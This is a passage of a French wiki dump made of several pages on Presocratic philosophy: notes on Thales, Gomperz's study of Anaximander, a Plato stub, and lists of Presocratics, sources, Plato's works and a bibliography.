pourquoi il a prétendu que la terre reposait sur l'eau, amené probablement à cette opinion parce qu'il avait observé que l'humide est l'aliment de tous les êtres, et que la chaleur elle-même vient de l'humide et en vit ; or, ce dont viennent les choses est leur principe. » === Théologie === Toutes choses sont remplies de dieux. === L'âme === L'âme est une force motrice :Source : ::Aristote, De l'âme, I, II, 405 a 19 : :::Il semble aussi que Thalès, d’après ce qu’on rapporte, ait pensé que l’âme est une force motrice, s’il est vrai qu’il a prétendu que la pierre d’aimant possède une âme parce qu’elle attire le fer. Thalès affirma que l'âme est immortelle, et il fut le premier à énoncer cette thèse. :Source : Diogène Laërce, I, 24 ::« On dit encore (le poète Choirilos) qu’il fut le premier à affirmer l’immortalité des âmes. » L'âme se meut éternellement. == Astronomie == Thalès prévoit une éclipse de soleil :Source : Hérodote, [[Thalès de Milet/Textes et traductions#I, 74, 75|I, 74]] ::Pendant cinq années qu'elle dura, les Mèdes et les Lydiens eurent alternativement de fréquents avantages, et la sixième il y eut une espèce de combat nocturne : car, après une fortune égale de part et d'autre, s'étant livré bataille, le jour se changea tout à coup en nuit (50), pendant que les deux armées en étaient aux mains. Thalès de Milet avait prédit aux Ioniens ce changement, et il en avait fixé le temps en l'année où il s'opéra. Les Lydiens et les Mèdes, voyant que la nuit avait pris la place du jour, cessèrent le combat, et n'en furent que plus empressés à faire la paix. :Commentaire : [[Thalès de Milet/L'École milésienne#III. L’éclipse prédite par Thalès|L’éclipse prédite par Thalès]] === Dimensions du Soleil et de la Lune === == Théorie sur la Terre == Thalès formula des théories sur la Terre : :sur son support ; :sur sa forme ::Thalès pensait que la Terre est ronde :::Source : Cicéron, ''République'', I, 22 ::::« Marcellus avait déposé dans le temple de la Vertu une autre sphère d'Archimède, plus connue du peuple et qui avait beaucoup plus d'apparence. Mais lorsque Gallus eut commencé à nous expliquer, avec une science infinie, tout le système de ce bel ouvrage, je ne pus m'empêcher de juger qu'il y avait eu dans ce Sicilien un génie d'une portée à laquelle la nature humaine ne me paraissait pas capable d'atteindre. Gallus nous disait que l'invention de cette autre sphère solide et pleine remontait assez haut, et que Thalès de Milet en avait exécuté le premier modèle ; » :sur ses dimensions ; :sur la cause des tremblements de terre ; :sur les solstices. == Mathématiques == Anaximandre de Milet/Theodor Gomperz 5317 21540 2005-09-17T07:23:27Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Thalès de Milet]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Anaximène de Milet]]''' |} {{navigation|[[Anaximandre de Milet]]|[[Anaximandre de Milet/Liste des sources|Les sources]]|[[Anaximandre de Milet/Textes et traductions|Textes]]|[[Anaximandre de Milet/Theodor Gomperz|Études]]|[[Anaximandre de Milet/Anaximandre dans la littérature|Littérature]]|[[Anaximandre de Milet/Classement thématique|Classement thématique]]}} <center>[[s:Theodor Gomperz|Theodor Gomperz]] ''Les penseurs de la Grèce : histoire de la philosophie antique'', tome I, livre I, chapitre 1, III.</center> <center> <div align="justify" style="position: relative; width: 600px" text-indent: 3em;> Anaximandre (né en 610) s'est engagé dans la seconde de ces voies (13). Il était fils de Praxiadès, Milésien comme Thalès, probablement son ami et son disciple, et il peut être considéré comme le vrai créateur de la science de la nature en Grèce, et par suite en Occident. Le premier, il n'a pas craint d'aborder scientifiquement les graves questions de l'origine de l'univers, de la terre et de ses habitants. Vigoureux était en lui le sens de l'identité, la faculté de pénétrer des analogies profondément cachées ; puissant le désir de dégager de ce qui tombe sous les sens ce qui se dérobe à leur perception. Sans doute, ses tentatives sont souvent enfantines, pleines de tâtonnements, mais sa personnalité n'en commande pas moins le respect, car il a ouvert des voies et frayé des sentiers. Malheureusement, les renseignements que nous avons sur lui sont trop incomplets, trop décousus, trop souvent contradictoires, pour que nous puissions suivre la marche de sa pensée. Son traité De la nature, première exposition en prose de doctrines scientifiques qu'ait possédée la littérature grecque - et qu'elle ne perdit que trop tôt, hélas ! - était le fruit mûr d'une vie partagée entre les méditations profondes et le soin des affaires de l'État. Peu de temps seulement avant sa mort, à l'âge de soixante-trois ans (547), il se décida à publier cet ouvrage, dont il nous est parvenu quelques lignes, mais pas une seule phrase complète. Ses travaux préliminaires, qu'il couronna par cette dernière oeuvre, étaient variés et du plus haut mérite. Il a la gloire d'avoir donné aux Grecs la première carte géographique et la première carte céleste. Pour établir sa carte terrestre, il utilisa - n'ayant pas pris part lui-même à des voyages de découvertes - la somme des renseignements qui affluaient plus qu'en aucune autre partie de la Grèce dans sa patrie ionienne, point de départ de nombreuses expéditions par terre et par mer jusqu'aux limites du monde alors connu. Des cartes terrestres furent aussi établies dans l'ancienne Égypte, mais elles se bornaient à la reproduction graphique de districts isolés (14) ; l'idée d'une carte embrassant l'ensemble du monde était restée étrangère aux habitants de la vallée du Nil ; d'ailleurs, n'entreprenant pas de lointains voyages sur mer et ne possédant pas de colonies éloignées, ils n'avaient pas les matériaux nécessaires. La table d'Anaximandre, à ce que nous disent les anciens, représentait la terre comme entourant un bassin fermé, et comme entourée elle-même d'une mer extérieure. En fait d'instruments de recherches géographiques et astronomiques, le père de la géographie scientifique a sans doute connu le gnomon, invention des Babyloniens, qui consistait en une tige dressée sur un plan horizontal, et qui permettait de trouver, à n'importe quel jour et quelle saison, par la longueur et la direction de son ombre, le midi vrai de n'importe quelle localité, et suffisait à déterminer les quatre points cardinaux et les deux solstices (15). D'après une tradition qui, il est vrai, indique une fois son nom, une autre fois celui de son successeur Anaximène, notre Milésien aurait établi un de ces instruments à Sparte. L'histoire de la science ne connaît pas en lui l'auteur de propositions mathématiques nouvelles, mais on lui attribue la composition d'un résumé des doctrines géométriques. Dans tous les cas, il ne manquait pas de culture mathématique, comme le prouvent ses indications - d'une interprétation peu sûre pour le moment - sur la grandeur des corps célestes (16). Comme astronome, Anaximandre a le premier, et presque complètement, rompu avec les conceptions enfantines de la haute antiquité. Sans doute, la terre n'est pas encore pour lui une sphère ; mais elle n'est pas davantage un disque plat reposant sur une base et recouvert par la voûte céleste comme par une cloche. Il ne faisait plus, chaque soir, plonger le soleil dans les flots de l'Océan, et ne se le représentait pas revenant, par cette voie, de l'Occident à l'Orient. Si un mouvement constant et régulier devait expliquer le fait que le soleil et les autres astres émergent du ciel oriental, après avoir disparu au ciel occidental, il ne restait plus qu'une alternative : leur faire continuer au-dessous de la terre le mouvement circulaire qu'ils exécutent devant nos yeux au-dessus de l'horizon. Cette conception avait pour elle l'appui d'une observation : les constellations voisines du Pôle ne se couchent jamais, mais décrivent un mouvement circulaire. Par conséquent, l'hémisphère céleste que nous voyons ne devait être, en vérité, que la moitié d'une sphère complète. A la voûte qui se recourbe au-dessus de nos têtes, s'en oppose une seconde, creusée au-dessous de nos pieds. Ainsi la terre se voit privée de la base sur laquelle elle reposait jusqu'alors, et qui devait descendre à des profondeurs infinies ; désormais, elle plane librement dans l'espace. Au lieu d'un disque plat, on se la figure sous la forme d'un fragment de colonne ou d'un cylindre qui, pour garder un équilibre stable, doit avoir un diamètre notablement plus grand que sa hauteur. Le rapport de trois à un remplissait la condition voulue, et se recommandait probablement au vieux penseur par sa simplicité. Mais comment expliquer que cette terre, semblable à un tambourin, pût ainsi rester suspendue dans le vide ? Anaximandre recourait pour cela à un raisonnement bien étrange : si elle reste ainsi immobile, c'est qu'elle est également distante de tous les points de la sphère céleste. Il résulte de là, d'une part, que la pesanteur, pour lui, ne pouvait pas se confondre avec la tendance vers le bas. D'autre part, la forme de la déduction nous fait voir en notre Milésien le premier précurseur de ces métaphysiciens qui préféraient appuyer la loi de l'inertie sur des motifs a priori que sur l'expérience (17). « Un corps au repos, disait-on, ne peut se mettre en mouvement si une cause extérieure quelconque n'agit pas sur lui, car, pour le faire, il devrait se mouvoir de bas en haut ou de haut en bas, en avant ou en arrière, etc. » Mais comme il n'a aucun motif de faire l'un plutôt que l'autre, il ne saurait se mou-voir en aucun sens. Aussi Aristote, qui trouve l'argument du vieux penseur à la fois ingénieux et faux, compare-t-il cette terre immobile à un affamé qui devrait périr parce qu'il n'a pas de raison de toucher à l'un plutôt qu'à l'autre des mets qui l'entourent à égale distance. Cependant il est nécessaire de nous arrêter maintenant à l'essai de cosmogonie d'Anaximandre. Nous avons déjà, à l'occasion de la théogonie hésiodique, fait connaissance avec la théorie du chaos primitif dans lequel se trouvait l'univers. Là, nous avons montré qu'on était arrivé à la conception du chaos par l'agrandissement infini du vide qui s'ouvre entre le ciel et la terre. En même temps, nous avons fait remarquer que, des trois dimensions de l'espace, ces penseurs primitifs n'en envisageaient qu'une, la hauteur ou profondeur, sans se soucier de ce qu'il pouvait en être des deux autres. Développée d'une manière logique, la même pensée devait, à la place d'une fente béante, poser l'espace illimité dans tous les sens, et cet espace, rempli de matière, Anaximandre le plaçait, en effet, au commencement de tout devenir (18). Mais quelle était cette matière primordiale étendue à l'infini ? Aucune, pouvons-nous répondre, de celles que nous connaissons. Car ces matières qui, sans cesse et sans trêve, passent l'une dans l'autre et sortent l'une de l'autre, ne lui apparaissaient que comme des facteurs à titres en quelque sorte égaux - à ce point de vue du moins qu'aucune d'elles ne pouvait revendiquer le rôle de productrice de toutes les autres. L'eau primordiale de Thalès; en particulier, se montrait parfaitement impropre à remplir cette fonction. Son existence n'implique-t-elle pas déjà, en effet, la chaleur, c'est-à-dire, selon les conceptions de cette époque, la matière de la chaleur ou le feu ? Car le solide est transformé en liquide par la fusion, c'est-à-dire par l'adjonction de matière ignée. L'élément aériforme, la vapeur d'eau, par exemple, est produit par l'action du feu sur le liquide. Ainsi le solide et l'igné seuls semblaient présider à toutes les formations particulières. Mais l'opposition qui régnait entre eux en faisait un couple dont les membres, se complétant naturellement, devaient venir simultanément à l'existence. Et, en effet, Anaximandre les faisait sortir par une «différenciation (19) » sous forme de « froid » et de « chaud » de la matière primordiale qui réunissait en elle toutes les propriétés particulières. Mais comment se représentait-il la formation de l'infinie variété des matières particulières ? Nous l'ignorons absolument. Toutefois on peut supposer qu'une différenciation ultérieure des formes fondamentales de la matière devait continuer le processus déjà décrit. Quoi qu'il en soit de ce point, les matières entraînées par un mouvement tourbillonnant se disposèrent les unes au-dessus des autres d'après leur densité. Le noyau intérieur fut formé par la terre, dont la surface était recouverte d'eau ; une couche d'air entourait celle-ci qui, à son tour, était environnée d'un cercle de feu « comme l'arbre est environné d'écorce (20) ». Ici se présentait à l'esprit systématique du Milésien un double problème. La terre constitue encore aujourd'hui le noyau de cette construction, l'air son enveloppe extérieure. Mais l'eau ne forme plus une couverture uniforme de la terre, et le feu n'est plus visible que sur des points isolés - nombreux, il est vrai, - du ciel. D'où provient, se demandait-il, ce bouleversement de la répartition primitive et régulière des matières de la terre ? Et voici comment il répondait à cette question : la mer actuellement existante n'est plus que le reste de la couche d'eau originelle ; l'évaporation par la chaleur du soleil en a réduit le contour dans le cours du temps. Cette opinion trouvait un appui dans les observations géologiques, qui permettaient de constater un retrait de la mer (21) sur beaucoup de points du littoral méditerranéen. Qu'on eût observé la formation des deltas, ou qu'on eût ramassé des coquilles marines sur le continent, ce fut certainement de faits de cette nature qu'Anaximandre tira les conclusions importantes qui supportaient sa doctrine. Quant au cercle de feu, il devait, un jour, s'être disloqué ensuite de ce mouvement tourbillonnant. La même force, selon lui, entraîna aussi des masses d'air, qui, par là, se condensèrent et entourèrent les masses de feu. Les enveloppes d'air ainsi produites, qui cachaient les feux, Anaximandre se les représentait sous formé de roues, pourvues d'ouvertures analogues à la bouche d'un soufflet et desquelles le feu jaillit continuellement. Comment fut-il conduit à cette conception ? Nous croyons pouvoir répondre comme suit : le soleil, la lune et les étoiles tournent autour de la terre ; or des masses de feu circulant régulièrement dans l'espace ne répondaient à aucune analogie connue, tandis que la rotation de roues était chose d'observation quotidienne. Par là, les orbites abstraites étaient remplacées par des objets concrets, et le problème était considérablement simplifié. Aussi longtemps que les roues subsistaient et que durait la force d'impulsion qui leur était donnée, le cours des astres était assuré. Enfin les éclipses étaient expliquées par les obstructions auxquelles sont sujettes les bouches de la roue solaire et de la roue lunaire. L'énigme de la création des êtres organisés a aussi préoccupé l'esprit fécond en ressources du Milésien (22). Les premiers animaux doivent être sortis de la vase marine - c'est pour cette raison principalement sans doute que le corps de l'animal est composé d'éléments solides et d'éléments liquides, raison qui, nous l'avons déjà vu, faisait considérer l'eau et la terre comme ses éléments à l'époque homérique. Pourtant la richesse de la mer en êtres vivants de toute espèce, et la découverte de restés d'animaux marins fossiles peuvent avoir contribué à établir cette opinion. De plus, Anaximandre a prêté à ces animaux primitifs des peaux hérissées qu'ils auraient perdues en passant de la mer à l'habitat terrestre ; et cette hypothèse peut lui avoir été suggérée par la métamorphose que subissent les larves de beaucoup d'insectes. Il est à peine douteux qu'il ait vu dans les descendants de ces animaux marins les ancêtres des animaux terrestres ; il aurait donc eu un vague pressentiment de la théorie moderne de la descendance. Il s'est prononcé d'une manière précise sur l'origine du genre humain. Faire sortir sans autre explication les premiers hommes de la terre, à la manière des mythologues, il en était empêché, surtout, à ce que nous savons, par une considération : le petit enfant a plus besoin que tout autre être de secours prolongés, et n'aurait pu conserver l'existence par les simples moyens naturels. C'est pourquoi Anaximandre se mit en quête d'analogies qui pussent résoudre cette énigme. Il en trouva une dans la croyance populaire : les requins, disait-on, avalent leurs petits, aussitôt les oeufs éclos, les rejettent ensuite, et répètent cette opération aussi longtemps que le jeune animal n'a pas acquis la force nécessaire pour continuer à vivre de lui-même. D'une manière analogue, les ancêtres du genre humain auraient pris naissance dans l'intérieur du corps de poissons et ne les auraient quittés qu'une fois mûrs pour la vie. La croyance des Babyloniens à l'existence primitive de poissons-hommes (23) a-t-elle influencé notre philosophe ? C'est ce qu'il est impossible de décider, au moins pour le moment. Mais, de quelque façon qu'Anaximandre ait essayé d'expliquer la naissance des mondes, des formes de la matière, des êtres et des objets individuels, une chose était pour lui inébranlablement établie : tout ce qui est né est destiné à périr. Seule, la matière primordiale, d'où tout est sorti et où tout est appelé rentrer, passait à ses yeux pour incréée et impérissable. Cette conviction le remplissait d'une satisfaction à la fois religieuse et morale. Toute existence particulière lui apparaissait comme une usurpation ; les êtres qui se dépossèdent les uns les autres et s'anéantissent tour à tour « doivent encourir le châtiment et la peine d'après l'ordre du temps ». La destructibilité des choses individuelles, la caducité et la mortalité des êtres vivants, la circulation de la matière, s'amplifiaient dans son esprit et lui faisaient concevoir un ordre naturel général qui, pour lui, équivalait à un ordre légal universel. Tout ce qui existe, aurait-il pu dire avec Méphistophélès, est digne de périr. Seule, la matière éternelle, douée d'énergie, immortelle et toujours jeune, lui apparaissait comme divine. Divins encore, mais, en tant qu'êtres devenus et par conséquent aussi périssables, dieux de second ordre (24), étaient pour lui les mondes ou les cieux particuliers qui, les uns après les autres, peut-être aussi les uns à côté des autres, jouissent d'une existence relativement longue, mais toujours temporaire. Par quels processus ils rentrent toujours dans le sein maternel de la matière primitive, le philosophe ne nous le dit pas, mais on peut le supposer. De même que des différenciations de l'essence primordiale les ont appelés à l'existence, ce sont les mélanges et les combinaisons des matières qui, dans le cours de longues périodes, mettent un terme à toute existence particulière, et, petit à petit, ramènent tout à l'unité indistincte de l'essence primitive. Mais seulement, sans doute, pour que celle-ci emploie l'inépuisable énergie vitale dont elle est douée à provoquer sans cesse de nouvelles éclosions, et son invincible puissance à provoquer des destructions nouvelles. Japonais 5318 21468 2005-09-16T16:55:12Z 82.249.146.75 Redirection vers Table des matières (Japonais) #redirect [[Table des matières (Japonais)]] Anaximandre de Milet/Liste des sources 5322 21539 2005-09-17T07:22:41Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Thalès de Milet]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Anaximène de Milet]]''' |} {{navigation|[[Anaximandre de Milet]]|[[Anaximandre de Milet/Liste des sources|Les sources]]|[[Anaximandre de Milet/Textes et traductions|Textes]]|[[Anaximandre de Milet/Theodor Gomperz|Études]]|[[Anaximandre de Milet/Anaximandre dans la littérature|Littérature]]|[[Anaximandre de Milet/Classement thématique|Classement thématique]]}} *Diogène Laërce *Suidas *Elien *Eusèbe *Pline *Cicéron *Agathémère *Strabon *Simplicius *Aristote *Aétius *Sénèque *Ammien-Marcellin *Plutarque Platon 5325 31086 2006-02-01T08:47:22Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Socrate]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Aristote]]''' |} <center>'''Cette page est presque vide, et n'est qu'une simple présentation en attendant que les pages relatives aux [[Présocratiques]] soient bien avancées.''' </center> :Platon (en grec Πλάτων / Pláton, Athènes, 427 av. J.-C. - 348) est un philosophe grec, disciple de Socrate. Surnommé le « divin Platon », il est considéré comme le premier grand philosophe. Sa philosophie est l'une des plus importantes de l'histoire de l'Occident. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |[[Image:Plato-raphael.jpg|thumb|100px|Platon]] | :Les œuvres : :[[Platon/Liste des œuvres|Liste des œuvres]] :[[Platon/Plan des dialogues|Plan des dialogues]] :Les études : :[[Platon/Theodor Gomperz|Notice de Theodor Gomperz]] :Autres textes : [[Platon/Platon dans la littérature|Platon dans la littérature]] |} [[Catégorie:Philosophe]] {{wikisource}} Présocratiques 5326 31155 2006-02-01T23:48:00Z Greudin 1 google ne retourne rien concernant ce nouveau paragraphe {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Origine de la philosophie|Origine de la philosophie]]''' | width="34%" align="center"|'''[[Histoire de la philosophie - La philosophie antique|La philosophie antique]]''' | width="33%" align="right"|'''[[Socrate]]''' |} :Les '''Présocratiques''' sont des philosophes qui ont vécu du milieu du VIIe siècle av. J.-C. jusqu'à l'époque de [[Socrate]]. Certains ne sont donc pas littéralement des pré-socratiques, comme les Sophistes, Démocrite, etc. Ils sont considérés comme les initiateurs de certains aspects de la spéculation philosophique (philosophie de la nature par exemple). Leurs doctrines et leur vie, du fait de l'état lacunaire de nos sources, ne sont pas très bien connues. De plus, ce qu'il nous reste de leurs écrits provenant des œuvres de philosophes ultérieurs, nous nous retrouvons face à des textes réinterprétés de manière parfois très tendancieuse (par exemple Aristote, ''Métaphysique'', livre A). Le terme de présocratiques n'apparaît qu'après la prise de conscience de l'héritage platonicien, mais le nom qu'on leur attribuait au VIe siècle est ''phusikoi'', les physiciens au sens de ceux qui se portent à l'étude de la Nature. L'expression ne doit cependant pas laisser penser à un héritage directe ou à une continuité d'inspiration entre les penseurs matinaux de l'aube grecque et le savant de l'âge classique qui met en pratique l'expérimentation. La Nature dont le phusikos fait l'expérience est un tout dont il n'est qu'une partie. La ''phusis'', la Nature, c'est à la fois ce qui croît, toutes les choses qui s'épanouissent sous le ciel, et ce par quoi ce qui croît, justement, croît. La Nature n'est pas alors la nature objective offerte à l'appréhension du calcul.C'est en Ionie, à Millet, que l'on situe habituellement le lieu de naissance de la ''philosophie'', notonamment avec Thalès. Le propre des philosophes dits présocratiques est de promouvoir une démarche rationnelle, c'est à dire expliquer, à l'aide de concepts généraux, l'origine et la nature des phénomènes naturels. Est-ce qu'un terme générique comme celui de phusikoi peut permettre d'identifier l'unité d'une notion commune aux différentes conceptions que l'on rapporte des grands noms de la tradition (essentiellement par Aristote, livre A)? Thalès: l'eau, Anaximandre: l'infini (apeiron), Anaximène: l'air, Pythagore (école italique): le nombre et l'opposition des contraires, Empédocle d'Agrigente: l'amour et la hainre, Anaxagore, l'inteligence (''noûs''), Parménide et Zénon d'Elée: l'unicité de l'être, Héraclite: le feu pur, l'intelligence directrice, Démocrite d'Abdère: les quatres élements sous forme d'atomes matériels. Il y a de quoi devenir sceptique en contemplant cette constellation d'explications divergentes. Et pourtant quelque chose d'unique s'est produit: l'explication myhtologique et religieuse a laissé la place à une recherche des causes qui président à la manifestation du visible. Le point de départ de la réflexion des ''physiciens'' est le moment où l'on s'est ''étonner'' (''taumazein'') que le monde soit ce qu'il est, et qu'il soit tout simplement. La tentative d'apporter une réponse rationnelle à la question de l'origine de la nature et du devenir a nécessité d'une part le recours à de nouveaux concepts, dégagés des significations populaires de la nature pleine de dieux, ou plutôt au concept. Car les explications présocratiques sont encore teintées de mysticisme et d'éléments religieux (l'orphisme notamment en rapport à l'école pytahgoricienne). Mais il n'empêche que la persévérance de ces penseurs à penser contre la foule (''doxa'') leur permet de délivrer le langage de son ancrage traditionnel. Leur interrogation porte sur le général, l'universel: qu'est-ce que la totalité où je me tiens. En interrogeant l'être de ce qui est, il ont promu le questionnement au titre d'attitude fondamentale face à l'existence. Préparant la voie d'une éthique,non pas tant par leur discours dont on ne possède que des fragments, mais par l'aspiration à régler sa vie sur l'harmonie découverte par la raison, les physiciens prépare la voie à un questionnement sur la finalité de l'existence humaine dans un univers dont les divinités rectrices masquent en fait l'unité de la Raison universelle, la providence qui gouverne toute choses. C'est à ce moment que naît la figure du sage dont s'inspireront largement les Stoïciens à l'époque alexandrine. Si la philosophie occidentale considère que son héritage lui vient de Socrate, les physiciens de l'antiquité ont ceci de commun avec ce dernier d'avoir élevé la question, l'interrogation sur le sens, à la dignité la plus haute. Mais un autre type d'interrogation naît avec Socrate: le questionnement des choses humaines. C'est cependant des premiers efforts des présocratiques à systématiser et à démontrer par la raison, et donc par la parole (''logos'': raisonnement, langage, fondement, raison des choses), que se fait jour la possibilité d'une enquête sur l'essence dont Platon fera l'objet de sa philosophie. De ce fait, les présocratiques apparaissent moins comme des précepteurs que comme des prédecesseurs dans l'effort de réflexion sur ce que cela veut dire: être. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |[[Image:Thales.jpg|thumb|170px|Thalès de Milet]] | :Les sources : :[[Présocratiques/Liste des sources|Liste des sources]] :[[Présocratiques/Textes et traductions|Textes et traductions]] :Documents sur les Présocratiques : :[[Présocratiques/Liste des Présocratiques|Liste des Présocratiques]] :[[Présocratiques/Chronologie des Présocratiques|Chronologie]] - [[Présocratiques/Géographie des Présocratiques|Géographie]] :La pensée présocratique : :[[Présocratiques/Vocabulaire|Le vocabulaire des Présocratiques]] :Les études : :[[Présocratiques/Theodor Gomperz|Notice de Theodor Gomperz]] :Autres textes : [[Présocratiques/Présocratiques dans la littérature|Les Présocratiques dans la littérature]] :Bibliographie : [[Présocratiques/Bibliographie|Bibliographie]] |} [[http://www.example.com lien titre][[[[Lien titre]]]]] Platon/Liste des œuvres 5329 21585 2005-09-17T15:37:45Z Marc 66 L'ensemble des œuvres de Platon se compose de 35 ''Dialogues'', de lettres, d'un livre de définitions et de six dialogues apocryphes. * Premiers dialogues : ** ''[[Premier Alcibiade]]'' ** ''[[Second Alcibiade]]'' ** ''[[Hippias mineur]]'' ** ''[[Euthyphron]]'' ** ''[[Lachès]]'' ** ''[[Charmide]]'' ** ''[[Lysis]]'' ** ''[[Hippias majeur]]'' ** ''[[Ion (Dialogue de Platon)|Ion]]'' * ''[[Protagoras (dialogue de Platon)|Protagoras]]'' * ''[[Euthydème]]'' * ''[[Gorgias (dialogue de Platon)|Gorgias]]'' * ''[[Ménexène]]'' * ''[[Ménon]]'' * ''[[Cratyle]]'' * ''[[Apologie de Socrate]]'' * ''[[Criton]]'' * ''[[Phédon]]'' * ''[[Le Banquet]]'' * ''[[Phèdre (Platon)|Phèdre]]'' * ''[[La République]]'' * « [[Lettre 7]] » * ''[[Théétète (dialogue de Platon)|Théétète]]'' * ''[[Parménide (dialogue de Platon) | Parménide]]'' * ''[[Sophiste (dialogue de Platon)|Le Sophiste]]'' * ''[[Politique (dialogue de Platon)|Politique]]'' * ''[[Philèbe]]'' * ''[[Timée (dialogue de Platon)|Timée]]'' * ''[[Critias (dialogue de Platon)|Critias]]'' * ''[[Les Lois]]'', œuvre inachevée * Authenticité douteuse : ** ''Hipparque'' ** ''Rivaux'' ** ''Théagès'' ** ''Clitophon'' ** ''Minos'' ** ''Épinomis'' ** ''Définitions'' * Dialogues apocryphes : ** ''Axiochos'' ** ''De la Justice'' ** ''De la vertu'' ** ''Démodocos'' ** ''Sisyphe'' ** ''Eryxias'' == Les éditions == Présocratiques/Liste des Présocratiques 5331 21587 2005-09-17T15:41:15Z Marc 66 {| border="0" align="center" width="100%" | style="vertical-align:top" width="50%"| *Les Ioniens **École milésienne ***[[Thalès de Milet]] ***[[Anaximandre de Milet]] ***[[Anaximène de Milet]] **[[Héraclite d'Ephèse]] *École pythagoricienne **Pythagore **Cercops **Pétron **Brontin **Hippase **Calliphon **Démocédès **Parméniscos **Ménestor **Xouthos **Boïdas **Thrasyalcès **Ion de Chio **Alcméon de Crotone **Iccos **Paron **Aminias **Philolaos de Crotone **Archytas **Timée de Locres **Damon le musicien **Hippon **Phaléas **Hippodamos **Polyclète **Hippocrate de Chio **Théodore de Cyrène **Eurytos **Archippos **Lysis **Opsimos **Occelos **Hicétas **Ecphantos **Xenophile **Dioclès **Échécrate **Polymnastos **Phanton **Arion **Proros **Amyclas **Clinias **Phintias **Simos **Myonide **Euphranor **Lycon |style="vertical-align:top" width="33%"| *Xénophane de Colophon *Les Eléates **Parménide **Zénon d'Elée **Empédocle d'Agrigente *Anaxagore de Clazomènes *Diogène d'Apollonie *Les atomistes **Leucippe **Démocrite d'Abdère **Nessas **Métrodore de Chio **Diogène de Smyrne **Anaxarque **Hécatée d'Abdère **Apollodore de Cyzique **Nausiphane **Diotime **Bion d'Abdère **Bolos *Les Sophistes **Protagoras **Prodicos de Céos **Gorgias de Léontion **Antiphon **Lycophron **Thrasymaque **Xéniade *Mélissos *Archélaos *Métrodore de Lampsaque *Clidèmos *Idaios *Cratyle *Antisthène l'Héraclitéen |} Présocratiques/Chronologie des Présocratiques 5332 21588 2005-09-17T15:41:30Z Marc 66 <timeline> DateFormat = yyyy ImageSize = width:800 height:350 PlotArea = left:20 right:20 bottom:20 top:10 Colors = id:prehistoire value:rgb(0.7,0.5,1) id:protohistoire value:rgb(1,0.7,0.7) id:noir value:black id:canvas value:rgb(0.97,0.97,0.97) id:Holo value:rgb(0.4,0.8,0.7) id:PSup value:rgb(0.5,1,0.5) id:PMoy value:rgb(0.6,1,0.6) id:PInf value:rgb(0.7,1,0.7) # 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Diels H., Kranz W., 3 vol., 10e éd., Berlin, Weidmann, 1960-1961 *''Les Présocratiques'', Bibliothèque de la Pléiade *''Histoire de la philosophie'', tome 1, Bréhier *''Les Penseurs Grecs'', 3 tomes, [[s:Theodor Gomperz|Gomperz]] [<small>[http://remacle.org/bloodwolf/livres/gomperz/table.htm Lire en ligne]</small>] *''La philosophie à l'époque tragique des grecs'', Friedrich Nietzsche *''Philosophie des Grecs'', tome 1 et 2, Edouard Zeller [<small>[http://visualiseur.bnf.fr/Visualiseur?Destination=Gallica&O=NUMM-77938 Lire en ligne le tome 2 sur Gallica]</small>] *''Les penseurs grecs avant Socrate de Thalès de Milet à Prodicos'', par J.Voilquin, (GF) *''Dictionnaire des philosophes antiques'' publié sous la direction de Richard Goulet Présocratiques/Liste des sources 5334 21591 2005-09-17T15:45:41Z Marc 66 {{SommaireCompact}} == A == *[[Aétius]], ''Opinions de philosophes'' *[[Alexandre d'Aphrodise]] *[[Aristophane]] *[[Aristote]] *[[Aristoxène de Tarnete]], ''Maximes pythagoriciennes'', ''Vie pythagoricienne'' *[[Aulu-Gelle]], ''Nuits attiques'' == B == *[[Boèce]], ''Géométrie'', ''Instituion musicale'' == C == *[[Celse]], ''De la médecine'' *[[Chalcidius]], ''Commentaire sur le Timée'' *[[Cicéron]] *[[Clément d'Alexandrie]], ''Stromates'' == D == *[[David]], ''Prolégomènes à Aristote'' *[[Diogène Laërce]], ''[[Vies et doctrines des philosophes illustres]]'' == E == *[[Eusèbe de Césarée]], ''Préparation évangélique'' == F == == G == == H == *[[Hérodote]], ''Enquête'' *[[Horace]] == J == *[[Jamblique]], ''Vie pythagorique'' == L == *[[Lucien de Samosate]] == M == == N == == P == *[[Platon]] *[[Plutarque]] *[[Porphyre de Tyr]] *[[Proclos]] *[[Sextus Empiricus]] *[[Stobée]] *[[Suda]] == T == *[[Théophraste]] *[[Timon de Phlionte]], ''Silles'' == V == *[[Vitruve]] Présocratiques/Géographie des Présocratiques 5335 21593 2005-09-17T15:53:28Z Marc 66 Une cartographie de la pensée grecque sur les pourtours de la Méditerranée révèle une division de la pensée : d'une part les Ioniens ([[Thalès de Milet|Thalès]], Anaximandre, Héraclite...), qui se consacrent à la découverte des principes de la nature ; les Italiques, d'autre part, c'est-à-dire les Pythagoriciens, les Eléates (Parménide...) qui se tournèrent vers la spéculation métaphysique. Au Vè siècle, la philosophie viendra s'installer à Athènes. Diogène Laërce, dans ses ''Vies, doctrines et sentences des philosophes illustres'' nous donne une idée de cette division que l'on peut se représenter ainsi, avec les philosophes ultérieurs de l'âge classique et de la période hellénistique : <center> {|border="0" style="border: 1px solid #999; background-color:#FFFFFF" |colspan="3" bgcolor="#CCCCCC"|'''Philosophie ionienne (livre I à VII)'''||bgcolor="#CCCCCC" |'''Philosophie italique (Livre VIII à X)''' |- |colspan="3" bgcolor="#EFEFEF"|[[Thalès de Milet]], les [[sept sages]] ([[#Livre I Les Sept sages|livre I]])||bgcolor="#EFEFEF"|[[Pythagore]] (Livre VIII Les Pythagoriciens) |- |colspan="3" bgcolor="#CCCCCC"|[[Anaximandre]], [[Anaxagore]], [[Archélaos]], 